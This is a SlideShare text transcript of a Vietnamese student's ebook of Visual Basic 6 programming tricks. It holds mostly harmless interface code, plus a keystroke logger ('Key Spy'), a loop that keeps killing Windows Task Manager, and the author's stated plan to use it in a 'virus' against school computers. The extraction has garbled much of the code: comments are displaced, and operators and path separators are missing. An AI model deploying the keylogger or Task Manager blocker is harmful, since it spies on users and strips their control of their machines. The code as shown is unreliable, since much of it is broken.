Chiêu thức lập trình
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

Chiêu thức lập trình

on

  • 591 views

 

Statistics

Views

Total Views
591
Views on SlideShare
591
Embed Views
0

Actions

Likes
1
Downloads
32
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Microsoft Word

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

Chiêu thức lập trình Document Transcript

  • 1. Chiêu thức lập trình VB 6.0 Tác giả : Lê Nguyên Dũng Lớp 12C1 trường THPT Đăk Nông (Thị xã Gia Nghĩa - Đ ăk Nông) Email : dungcoivb@gmail.com Nick : dungcoi_vb Địa chỉ nhà : Thôn 1, thị trấn Đăk Mâm Huyện Krông Nô Tỉnh Đắk Nông Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 1
  • 2. Chiêu thức lập trình VB 6.0 Lời nói đầu Dù tài liệu này không có mấy người đọc nhưng dù sao với trách nhiệm và sự “Rãnh rỗi” của mình mình sẽ tiếp tục bổ xung thêm cuốn tài liệu này đến khi nào có thể Trong sách tôi xin chỉ rõ xuất xứ, mong rằng các ban cũng sẽ tôn trọng tác giả không chỉnh sửa tác giả hay các xuất xứ Cuốn sách này đi theo định hướng là sử dụng các hàm API hoặc các lệnh đơn giản để tạo thành những thủ thuật và hạn chế tối đa phải sử dụng các công cụ hỗ trợ. Cuốn tài liệu được chia sẽ hoàn toàn miễn phí. Nếu có thắc mác bạn hãy liên hệ với tác giả. Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 2
  • 3. Chiêu thức lập trình VB 6.0 Mục lục Đôc chiêu 1 : “Thả một câu từ trên cao xuống” (Có thể nói như vậy) Đôc chiêu 2 : Hiện một câu bằng cách lần lượt hiện từng chữ Đôc chiêu 3 : Hiện con trỏ động tại một đối tượng nào đó Đôc chiêu 4 : Form có hình dạng theo một hình ảnh bất k ỳ Đôc chiêu 5 : “Chụp ảnh màn hình vào một Picture” Đôc chiêu 6 : “Vô hiệu hoá button close và menu của form (cả Alt-F4 luôn)” Đôc chiêu 7 : “Kéo form di chuyển từ một điểm bất kỳ” Đôc chiêu 8 : “Ghi lại tất cả những phím gõ tên bàn phím” Đôc chiêu 9 : Đóng một ứng dụng bất kỳ Đôc chiêu 10 : Tạo phím nóng cho chương trình Đôc chiêu 11 : Thay đổi hình nền cho Desktop Đôc chiêu 12 : Đóng mở khay CD-ROM Đôc chiêu 13 : Tạo một SystemTray cho ứng dụng của bạn Đôc chiêu 14 : Thay đổi Font tiếng việt cho Menu của Window Đôc chiêu 15 : So sánh hai ảnh Đôc chiêu 16 : Liệt kê danh sách các thành phần phần cứng trong máy Đôc chiêu 17 : Chương trình khởi động cùng với Windowns Đôc chiêu 18 : Play một file nhạc Midi Đôc chiêu 19 : Khoá một file ảnh định dạng .bmp Đôc chiêu 20 : Để form của bạn ở chế độ “Luôn nổi” Đôc chiêu 21 : TextBox chỉ “Chịu” nhận số Đôc chiêu 22 : Để form trở nên trong suốt Đôc chiêu 23 : Lấy tên người sử dung của Windowns Đôc chiêu 24 : Chép cả màn hình làm việc vào một Picture Đôc chiêu 25 : Dấu dữ liệu dạng text vào 1 file bất kỳ Đôc chiêu 26 :Mở từng hộp thoại trong Control Panel Đôc chiêu 27 : Mã hoá dữ liệu dạng text Đôc chiêu 28 : Lấy mật khẩu khi đang Chat trên Yahoo Đôc chiêu 29 : Biến giao diện chương trình theo phong cách Windowns XP Đôc chiêu 30 : Làm cho ứng dụng từ từ rõ dần khi Load và mờ dần khi Unload Đôc chiêu 31 : Không cho dịch ngược phần mềm của bạn Đôc chiêu 32 : Lấy kiểu (Type) của đĩa Đôc chiêu 33 : Ẩn thanh Taskbar hoặc các thành phần khác Đôc chiêu 34 : Nhìn Windowns XP CD Key Đôc chiêu 35 : Tùy chọn hộp thoại thông báo của chương trình Đôc chiêu 36 : Đưa con trỏ đến một vị trí nhất định Đôc chiêu 37 : Hiệu ứng khi Click vào Đôc chiêu 38 : Hàm dùng để đoc số ra chữ Đôc chiêu 39 : Để chương trình bạn có giao diện “Nữa trong suốt” Đôc chiêu 40 : Gửi thông điệp tới một máy tinh bất kỳ Đôc chiêu 41 : Quét tất cả các máy trong mạng LAN Đôc chiêu 42 : Liệt kê tất cả các tài nguyên mạng đang trong trạng thái “Mở” Đôc chiêu 43 : Kiểm tra máy tính của bạn có kết nối Internet hay không Đôc chiêu 44 : Liệt kê tất cả các Process đang hoạt động trong máy Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 3
  • 4. Chiêu thức lập trình VB 6.0 Đôc chiêu 1 : “Thả một câu từ trên cao xuống” (Có thể nói như vậy) home Xuất xứ : www.pscode.com Binh khí sử dụng : Một Picture và một CommandButton Đoạn mã : Option Explicit Private Sub command1_Click() Randomize Timer ‘Khai báo Dim StartTime(100) xuống Dim DownMovement(100) As Boolean ?????? Dim MoveDistance As Double Dim YPos(100) As Double Dim MovementDone(100) As Boolean thành Dim StartHeight(100) As Double Dim UpMovementTime(100) As Double đi lên Dim PowerLoss(100) As Double dung ????? Dim Message As String Dim Looop As Integer Dim TextColor(100) As ColorConstants 'Khởi tạo 'Thời gian bắt đầu di chuyển lên ' Chúng ta phải lên xuông bao nhiêu ' Khoảng cách đích đến ' Tọa độ Y của chữ ' Là đúng khi lên / xuống hoàn ' Chiều cào phải đi xuống ??? ' Chiều dài mà ký tự sẽ lấy để ' Đã chạm tới điểm dưới ' Thông điệp bạn cần hiển thị ' Biến vòng lặp ' Màu sắc của mỗi ký tự ' Thiết lập picture1.ScaleMode = 4 picture1.FontName = "Courier New" ' Font chữ của ký tự Message = "Ô hiệu ứng chữ !!! Mail của tác giả nè (-_-) : overkillpage@gmx.net" ' Thông điệp bạn muốn hiển thị For Looop = 1 To Len(Message) PowerLoss(Looop) = 0.2 + ((Rnd * 25) / 100) StartHeight(Looop) = 0 TextColor(Looop) = RGB(80 + Looop * 2, 80 + Looop * 2, 255) Next Looop For Looop = 1 To Len(Message) StartTime(Looop) = Timer cần phải tính tóan vị trí Next Looop 'Đặt thời gian xuống, Do picture1.Cls ' Xóa Picture ‘ Vòng lặp để tiến hành đếm từng ký tự For Looop = 1 To Len(Message) If DownMovement(Looop) = True Then MoveDistance = (StartHeight(Looop) + (0.5 * 9.81 * ((Timer StartTime(Looop)) ^ 2))) ' Tính khoảng cách rơi Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 4
  • 5. Chiêu thức lập trình VB 6.0 If YPos(Looop) >= picture1.ScaleHeight - 1 Then MovementDone(Looop) = True ' Ký tự chạm phần đáy dưới Downmovement (Di chuyển xuống) hoàn thành Else MoveDistance = (StartHeight(Looop) + (0.5 * 9.81 * (UpMovementTime(Looop) - (Timer - StartTime(Looop))) ^ 2)) ' Yónh khoảng cách rơi If YPos(Looop) <= StartHeight(Looop) + 0.1 Then MovementDone(Looop) = True ' Ký tự chạm đến điểm cao nhất upmovement (Di chuyển lên trên) hòan thành End If YPos(Looop) = MoveDistance If YPos(Looop) > picture1.ScaleHeight - 1 Then ' Nếu ký tự thỏa điều kiện này phải sửa lại chúng YPos(Looop) = picture1.ScaleHeight - 1 ' Tại vị trí dưới cùng End If picture1.CurrentX = picture1.ScaleWidth / 2 - Int((Len(Message) / 2)) + Looop picture1.CurrentY = YPos(Looop) ' Đặt vị tọa độ Y cho ký tự picture1.ForeColor = TextColor(Looop) ' Đặt màu cho ký tự picture1.Print Mid(Message, Looop, 1) ' Đặt chử vào picture1 Next Looop DoEvents For Looop = 1 To Len(Message) If MovementDone(Looop) = True Then If DownMovement(Looop) = True Then ' Khoảng cách chuyển đổi giữa up/downmovement (Di chuyển lên/Di chuyển xuống) DownMovement(Looop) = False StartHeight(Looop) = StartHeight(Looop) + ((picture1.ScaleHeight - StartHeight(Looop)) * PowerLoss(Looop)) ' Startheight mới, bởi vì tốc độ bị sai ?!?! UpMovementTime(Looop) = Sqr((picture1.ScaleHeight StartHeight(Looop)) / (0.5 * 9.81)) ' D9ộ dài bao nhiêu sẽ upmovement (Di chuyển lên trên) sau đó??? Else DownMovement(Looop) = True End If StartTime(Looop) = Timer di chuyển ' Đặt thời gian bắt đầu MovementDone(Looop) = False End If Next Looop Loop ' Đến khi StartHeight = picture1.ScaleHeight Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 5
  • 6. Chiêu thức lập trình VB 6.0 End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) End End Sub Đôc chiêu 2 : Hiện một câu bằng cách lần lượt hiện từng chữ home Xuất xứ : www.pscode.com Binh khí sử dụng : Một Module , ba CommandButton lần lượt có các tên cmdStart, cmdClear, cmdExit, thêm hai cái đồng hồ tên là Timer1 (Interval =50) và Timer2(Interval =5) cả hai cái đồng hồ đều phải Enabled= False cuối cùng là một label tên là lblText Đoạn mã : Module : Public ASCC(5) As String Public Letters() As String ' Chuỗi ký tự Public TXT As String Public CurLetter As Integer Public TEXTT As String Public r As Integer Form : Private Sub cmdClear_Click() lblText.Caption = "" End Sub Private Sub cmdExit_Click() End End Sub Private Sub cmdStart_Click() TXT = InputBox("Enter Text") ' Nhập ký tự ReDim Preserve Letters(0) ReDim Preserve Letters(Len(TXT)) lblText = "" CurLetter = 0 For l = 1 To Len(TXT) Letters(l) = Mid(TXT, l, 1) Next Timer2.Enabled = True End Sub Private Sub Timer1_Timer() r = r + 1 lblText.Caption = TEXTT lblText.Caption = lblText.Caption & "_" If r = 6 Then r = 0 If 65 < Asc(Letters(CurLetter)) < 90 Then lblText.Caption = TEXTT lblText.Caption = lblText.Caption & Letters(CurLetter) TEXTT = lblText Timer2.Enabled = True Timer1.Enabled = False Else lblText.Caption = TEXTT lblText.Caption = lblText.Caption & Chr$(Asc(Letters(CurLetter)) - 32) TEXTT = lblText Timer2.Enabled = True Timer1.Enabled = False End If Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 6
  • 7. Chiêu thức lập trình VB 6.0 End If End Sub Private Sub Timer2_Timer() CurLetter = CurLetter + 1 If CurLetter > Len(TXT) Then GoTo HERE: End If TEXTT = lblText Timer1.Enabled = True Timer2.Enabled = False HERE: Timer2.Enabled = False End Sub Đôc chiêu 3 : Hiện con trỏ động tại một đối tượng nào đó Xuất xứ : www.ttvnol.com Binh khí sử dụng : Chỉ cần một cái Form Đoạn mã : home 'Hằng được sử dụng private Const ConTro=(-12) 'Các hàm API được sử dụng Private Declare Function SetClasslong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal wNewWord As Long) As Long Private Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long Dim NewCur as long Dim OldCur as long Private Sub Form_Load 'Giả sử rằng bạn đã có sẵn file Clock.ani ở ổ C: NewCur=LoadCursorFromFile("C:Clock.ani") OldCur=SetClassLong(Me.hwnd, ConTro,NewCur) End sub Private Sub Form_UnLoad(Cancel as Integer) SetClassLong me.hwnd, Contro,OldCur End Sub - Ta rút ra được một “Công thức” : Thay vì đặt con trỏ động trong Form ta có thể thay Me.hwnd trong dòng lệnh : OldCur=SetClassLong(Me.hwnd, ConTro,NewCur) bằng đối tựợng.hwnd (Nếu đối tượng đó hổ trợ ) Đôc chiêu 4 : Form có hình dạng theo một hình ảnh bất kỳ (Tất nhiên có màu tượng trưng cho form trong suốt) home Chú ý : Phần này trong lần xuất bản 1 có lỗi Xuất xứ : www.pscode.com Binh khí sử dụng : - 1 picture mang tên : picMainSkin trong đó có chứa sẵn một hình ảnh bất kỳ mà bạn muốn làm giao diện chương trình màu tượng trưng cho trong suốt là màu ở câu lệnh TransparentColor = GetPixel(hDC, 0, 0) có nghĩa là sẽ chính là màu của điểm có tọa độ (0,0) trên Picture này đây chính là một trong những điểm thú vị của đọan Code này. Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 7
  • 8. Chiêu thức lập trình VB 6.0 - 1 Module Đoạn mã : ‘Trong Module : Option Explicit Public Declare Function GetPixel Lib "gdi32" (ByVal hDC As Long, ByVal x As Long, ByVal y As Long) As Long Public Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long Public Declare Function CreateRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Public Declare Function CombineRgn Lib "gdi32" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function ReleaseCapture Lib "user32" () As Long Public Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long Public Const RGN_OR = 2 Public Const WM_NCLBUTTONDOWN = &HA1 Public Const HTCAPTION = 2 Public Function MakeRegion(picSkin As PictureBox) As Long Dim Dim Dim Dim Dim Dim Dim Dim x As Long, y As Long, StartLineX As Long FullRegion As Long, LineRegion As Long TransparentColor As Long InFirstRegion As Boolean InLine As Boolean hDC As Long PicWidth As Long PicHeight As Long hDC = picSkin.hDC PicWidth = picSkin.ScaleWidth PicHeight = picSkin.ScaleHeight InFirstRegion = True: InLine = False x = y = StartLineX = 0 TransparentColor = GetPixel(hDC, 0, 0) For y = 0 To PicHeight - 1 For x = 0 To PicWidth - 1 If GetPixel(hDC, x, y) = TransparentColor Or x = PicWidth Then If InLine Then InLine = False LineRegion = CreateRectRgn(StartLineX, y, x, y + 1) If InFirstRegion Then FullRegion = LineRegion InFirstRegion = False Else CombineRgn FullRegion, FullRegion, LineRegion, RGN_OR DeleteObject LineRegion End If End If Else If Not InLine Then InLine = True StartLineX = x End If Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 8
  • 9. Chiêu thức lập trình VB 6.0 End If Next Next MakeRegion = FullRegion End Function ‘Trong Form: Option Explicit Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Const SWP_NOMOVE = 2 Const SWP_NOSIZE = 1 Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE Private Sub Form_Load() Dim WindowRegion As Long picMainSkin.ScaleMode = vbPixels picMainSkin.AutoRedraw = True picMainSkin.AutoSize = True picMainSkin.BorderStyle = vbBSNone Me.BorderStyle = vbBSNone Set picMainSkin.Picture = picMainSkin.Picture Me.Width = picMainSkin.Width Me.Height = picMainSkin.Height WindowRegion = MakeRegion(picMainSkin) SetWindowRgn Me.hwnd, WindowRegion, True End Sub Private Sub picMainSkin_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) ReleaseCapture SendMessage Me.hwnd, WM_NCLBUTTONDOWN, HTCAPTION, 0& End Sub Đôc chiêu 5 : “Chụp ảnh màn hình vào một Picture” home Xuất xứ : www.ttvnol.com Binh khí sử dụng : Một Picture và một CommandButton Đoạn mã : Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long Private Declare Function StretchBlt Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal nSrcWidth As Long, ByVal nSrcHeight As Long, ByVal dwRop As Long) As Long Private Sub Command1_Click() Dim wScreen As Long Dim hScreen As Long Dim w As Long Dim h As Long Picture1.Cls wScreen = Screen.Width Screen.TwipsPerPixelX hScreen = Screen.Height Screen.TwipsPerPixelY Picture1.ScaleMode = vbPixels w = Picture1.ScaleWidth h = Picture1.ScaleHeight hdcScreen = GetDC(0) Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 9
  • 10. Chiêu thức lập trình VB 6.0 r = StretchBlt(Picture1.hdc, 0, 0, w, h, hdcScreen, 0, 0, wScreen, hScreen, vbSrcCopy) End Sub Đôc chiêu 6 : “Vô hiệu hoá button close và menu của form (cả Alt-F4 luôn)” home Xuất xứ : www.ttvnol.com Binh khí sử dụng : Chẳng cần gì ta chỉ cần tay không bắt hổ Đoạn mã : Private Declare Function DeleteMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long Private Const MF_BYPOSITION = &H400& Private ReadyToClose As Boolean Private Sub RemoveMenus(frm As Form, _ remove_restore As Boolean, _ remove_move As Boolean, _ remove_size As Boolean, _ remove_minimize As Boolean, _ remove_maximize As Boolean, _ remove_seperator As Boolean, _ remove_close As Boolean) Dim hMenu As Long hMenu = GetSystemMenu(hwnd, False) If remove_close Then DeleteMenu hMenu, 6, MF_BYPOSITION If remove_seperator Then DeleteMenu hMenu, 5, MF_BYPOSITION If remove_maximize Then DeleteMenu hMenu, 4, MF_BYPOSITION If remove_minimize Then DeleteMenu hMenu, 3, MF_BYPOSITION If remove_size Then DeleteMenu hMenu, 2, MF_BYPOSITION If remove_move Then DeleteMenu hMenu, 1, MF_BYPOSITION If remove_restore Then DeleteMenu hMenu, 0, MF_BYPOSITION End Sub Private Sub cmdClose_Click() ReadyToClose = True Unload Me End Sub Private Sub Form_Load() RemoveMenus Me, False, False, _ False, False, False, True, True End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) Cancel = Not ReadyToClose End Sub Đôc chiêu 7 : “Kéo form di chuyển từ một điểm bất kỳ” Xuất xứ : www.allapi.net Binh khí sử dụng : Lại cũng tay không tập bắt hổ Đoạn mã : home Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 10
  • 11. Chiêu thức lập trình VB 6.0 Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Sub ReleaseCapture Lib "User32" () Const WM_NCLBUTTONDOWN = &HA1 Const HTCAPTION = 2 Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Dim lngReturnValue As Long If Button = 1 Then Call ReleaseCapture lngReturnValue = SendMessage(Me.hWnd, WM_NCLBUTTONDOWN, HTCAPTION, 0&) End If End Sub Private Sub Form_Paint() Me.Print "Hay keo tui di" End Sub Đôc chiêu 8 : “Ghi lại tất cả những phím gõ tên bàn phím” Xuất xứ : www.allapi.net Binh khí sử dụng : Cần một cái Module Đoạn mã : home Trong Module : Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey() As String For Cnt = 32 To 128 If GetAsyncKeyState(Cnt) <> 0 Then GetPressedKey = Chr$(Cnt) Exit For End If Next Cnt End Function Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) Ret = GetPressedKey If Ret <> sOld Then sOld = Ret sSave = sSave + sOld End If End Sub Trong Form : Private Sub Form_Load() Me.Caption = "Key Spy" Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 11
  • 12. Chiêu thức lập trình VB 6.0 SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Nao bat dau go di khi ban an dau X de thoat ban se thay bat ngo thu vi day." Me.Cls Me.ScaleMode = vbPixels SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0& End Sub Private Sub Form_Resize() Form_Paint End Sub Private Sub Form_Unload(Cancel As Integer) KillTimer Me.hwnd, 0 MsgBox sSave End Sub Đôc chiêu 9 : Đóng một ứng dụng bất kỳ home Xuất xứ : www.echip.com.vn (Báo eChip) Binh khí sử dụng : Cần một cái đồng hồ(Timer) chú ý thuộc tính Interval (Riêng tôi cho là 1) Gíơi thiệu : Đoạn mã đóng một cửa sổ bất ỳ nào đó dựa vào tên của nó Đoạn mã : Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Sub tmrkiemtra_Timer() Do While FindWindow(vbNullString, "Windows Task Manager") <> 0 ‘Gia su toi muon “Thu tieu “ hop thoai “Windows Task Manager” PostMessage FindWindow(vbNullString, "Windows Task Manager"), &H10, 0&, 0& Loop End Sub - Đây là một chiêu thức rất quan trọng của một phần mềm bảo mật nên có thể đang rất cần cho nhiều bạn. Riêng tôi do quá “Bất mãn” với cái bọn bạn quỷ quái nên đây s ẽ là một trong những tuyệt chiêu tôi sử dụng để viết Virus (Theo dự tính tiết thực hành thứ 2 tuần tới sẽ có vài cái máy tính của trường phải “Nhập viện”) he he nhưng tôi không tàn nhẫn tới mức phá hoại đâu tui “Hiền lắm” chỉ cho bọn bạn gà mờ “Biết ít khoe nhiều trên trường” không “Thực hành” thôi, Chúc các bạn có những giây phút “Sản khoái” như tôi với độc chiêu này. Đôc chiêu 10 : Tạo phím nóng cho chương trình : home Xuất xứ : www.allapi.net Binh khí sử dụng : Cần một cái Module (Form thì luôn luôn cần rồi) Đoạn mã : (Bẫy phím Alt+Z) Trong Module : Declare Function SendMessage Lib "user32" Alias _ "SendMessageA" (ByVal hwnd As Long, _ ByVal wMsg As Long, ByVal wParam As Long, _ lParam As Long) As Long Declare Function DefWindowProc Lib "user32" _ Alias "DefWindowProcA" (ByVal hwnd As Long, _ ByVal wMsg As Long, ByVal wParam As Long, _ ByVal lParam As Long) As Long Public Const WM_SETHOTKEY = &H32 Public Const WM_SHOWWINDOW = &H18 Public Const HK_SHIFTA = &H141 'Shift + A Public Const HK_SHIFTB = &H142 'Shift * B Public Const HK_CONTROLA = &H241 'Control + A Public Const HK_ALTZ = &H45A 'The value of the key-combination has to Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 12
  • 13. Chiêu thức lập trình VB 6.0 'declared in lowbyte/highbyte-format 'That means as a hex-number: the last two 'characters specify the lowbyte (e.g.: 41 = a), 'the first the highbyte (e.g.: 01 = 1 = Shift) Trong Form : Private Sub Form_Load() Me.WindowState = vbMinimized 'Let windows know what hotkey you want for 'your app, setting of lParam has no effect erg& = SendMessage(Me.hwnd, WM_SETHOTKEY, HK_ALTZ, 0) 'Check if succesfull If erg& <> 1 Then MsgBox "You need another hotkey", vbOKOnly, "Error" End If 'Tell windows what it should do, when the hotkey 'is pressed -> show the window! 'The setting of wParam and lParam has no effect erg& = DefWindowProc(Me.hwnd, WM_SHOWWINDOW, 0, 0) End Sub Đôc chiêu 11 : Thay đổi hình nền cho Desktop Xuất xứ : www.caulacbovb.com Binh khí sử dụng : Một CommandButton Đoạn mã : home Option Explicit ‘ Các hằng số và hàm phục vụ cho việc thay đổi WallPaper Private Const SPIF_UPDATEINIFILE = &H1 Private Const SPI_SETDESKWALLPAPER = 20 Private Const SPIF_SENDWININICHANGE = &H2 Private Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long ‘Phục vụ cho việc ghi giá trị vào Registry Public Enum REG_TOPLEVEL_KEYS HKEY_CLASSES_ROOT = &H80000000 HKEY_CURRENT_CONFIG = &H80000005 HKEY_CURRENT_USER = &H80000001 HKEY_DYN_DATA = &H80000006 HKEY_LOCAL_MACHINE = &H80000002 HKEY_PERFORMANCE_DATA = &H80000004 HKEY_USERS = &H80000003 End Enum Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal Hkey As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Private Const REG_SZ = 1 Public Function ChangeWallPaper(ImageFile As String, Optional Tile As Boolean = True, Optional Center As Boolean = True) As Boolean Dim lRet As Long On Error Resume Next If Tile Then 'Kieu Tile WriteStringToRegistry HKEY_CURRENT_USER, "Control Paneldesktop", "TileWallpaper", "1" Else 'Center or Stretch WriteStringToRegistry HKEY_CURRENT_USER, "Control Paneldesktop", "TileWallpaper", "0" 'Center If Center Then WriteStringToRegistry HKEY_CURRENT_USER, "Control Paneldesktop", "WallpaperStyle", "0" _ Else: WriteStringToRegistry HKEY_CURRENT_USER, "Control Paneldesktop", "TileWallpaper", Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 13
  • 14. Chiêu thức lập trình VB 6.0 "2" ' Stretch End If lRet = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, ImageFile, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) ChangeWallPaper = lRet <> 0 End Function Private Function WriteStringToRegistry(Hkey As REG_TOPLEVEL_KEYS, strPath As String, strValue As String, strdata As String) As Boolean Dim bAns As Boolean On Error GoTo ErrorHandler Dim keyhand As Long Dim r As Long r = RegCreateKey(Hkey, strPath, keyhand) If (r = 0) Then r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata)) r = RegCloseKey(keyhand) End If WriteStringToRegistry = (r = 0) Exit Function ErrorHandler: WriteStringToRegistry = False MsgBox "Thay doi gia tri Registry khong thanh cong", , "Loi :" End Function Private Sub Command1_Click() ‘ Load file ảnh cần thiết ChangeWallPaper "C:Ben Tre.bmp" ‘Kiểu Tile ‘ChangeWallPaper "C:Ben Tre.bmp", False ‘Kiểu Center ‘ChangeWallPaper "C:Ben Tre.bmp", False, False ‘Kiểu Stretch End Sub Đôc chiêu 12 : Đóng mở khay CD-ROM home Xuất xứ : www.caulacbovb.com Lưu ý: Chương trình này chỉ tác dụng tới ổ CD đầu tiên trên hệ thống của bạn (ổ có tên gần với tên Partition cuối cùng của máy). Binh khí sử dụng : 2 CommandButton Đoạn mã : Option Explicit Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long Function vbmciSendString(ByVal Command As String, ByVal hWnd As Long) As String Dim Buffer As String Dim dwRet As Long Buffer = Space$(100) dwRet = mciSendString(Command, ByVal Buffer, Len(Buffer), hWnd) vbmciSendString = Buffer End Function Private Sub Command1_Click() Dim Dummy As String Dummy = vbmciSendString("set cdaudio door open", 0) End Sub Private Sub Command2_Click() Dim Dummy As String Dummy = vbmciSendString("set cdaudio door closed ", 0) End Sub Đôc chiêu 13 : Tạo một SystemTray cho ứng dụng của bạn home Xuất xứ : www.ttvnol.com Binh khí sử dụng : Tương đối nhiều Đoạn mã : PHẦN I _ Tạo một OCX đặt tên là cSysTray.ocx Tác giả : Lê Nguyên Dũng lớp 12C1 trường THPT Đăk Nông Trang 14
  • 15. Chiêu thức lập trình VB 6.0 Bạn vào VB tạo một ActiveX Control, sau đó add một Module đặt tên là: mSysTray.bas và có nội dung như sau : --------- Module mSysTray.bas ---------Option Explicit Public Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Public Declare Function Shell_NotifyIcon Lib "shell32.dll" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, lpData As NOTIFYICONDATA) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal ByteLen As Long) Public Declare Function DrawEdge Lib "user32" (ByVal hDC As Long, qrc As RECT, ByVal edge As Long, ByVal grfFlags As Long) As Boolean Public Const GWL_USERDATA = (-21&) Public Const GWL_WNDPROC = (-4&) Public Const WM_USER = &H400& Public Const TRAY_CALLBACK = (WM_USER + 101&) Public Const NIM_ADD = &H0& Public Const NIM_MODIFY = &H1& Public Const 